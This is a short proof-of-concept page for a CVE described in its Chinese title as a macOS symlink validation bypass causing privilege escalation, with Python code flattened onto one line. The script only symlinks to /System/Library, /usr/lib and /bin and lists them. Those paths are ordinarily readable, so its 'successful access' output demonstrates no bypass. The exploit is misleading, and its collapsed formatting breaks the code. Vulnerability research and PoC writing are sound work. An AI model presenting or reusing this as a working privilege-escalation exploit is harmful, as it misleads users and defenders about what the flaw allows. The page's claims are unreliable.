CVE-2025-43446: macOS符号链接验证绕过导致权限提升漏洞

# CVE-2025-43446 PoC - macOS Symlink Validation Bypass # This PoC demonstrates the symlink validation issue # Note: This is for educational/research purposes only import os import subprocess import tempfile def create_malicious_symlink(target_path, link_path): """Create a symlink that points to a protected directory""" try: # Remove if exists if os.path.exists(link_path): os.unlink(link_path) # Create symlink to protected path os.symlink(target_path, link_path) print(f"[+] Created symlink: {link_path} -> {target_path}") return True except Exception as e: print(f"[-] Failed to create symlink: {e}") return False def check_protected_access(symlink_path): """Attempt to access protected area through symlink""" try: # List contents through symlink contents = os.listdir(symlink_path) print(f"[+] Successfully accessed through symlink: {len(contents)} items") return True except PermissionError: print("[-] Access denied (expected after patch)") return False except Exception as e: print(f"[-] Access failed: {e}") return False def main(): print("=== CVE-2025-43446 Symlink Validation Bypass PoC ===") # Target protected macOS directories protected_paths = [ "/System/Library", "/usr/lib", "/bin" ] # Create test directory in user space test_dir = tempfile.mkdtemp(prefix="cve_2025_43446_") print(f"[*] Test directory: {test_dir}") # Test each protected path for protected in protected_paths: if os.path.exists(protected): link_name = os.path.join(test_dir, os.path.basename(protected)) print(f"\n[*] Testing: {protected}") if create_malicious_symlink(protected, link_name): # Check if vulnerable (before patch) check_protected_access(link_name) print("\n[*] Cleanup...") # Cleanup for item in os.listdir(test_dir): try: os.unlink(os.path.join(test_dir, item)) except: pass os.rmdir(test_dir) print("[+] Test completed") if __name__ == "__main__": main()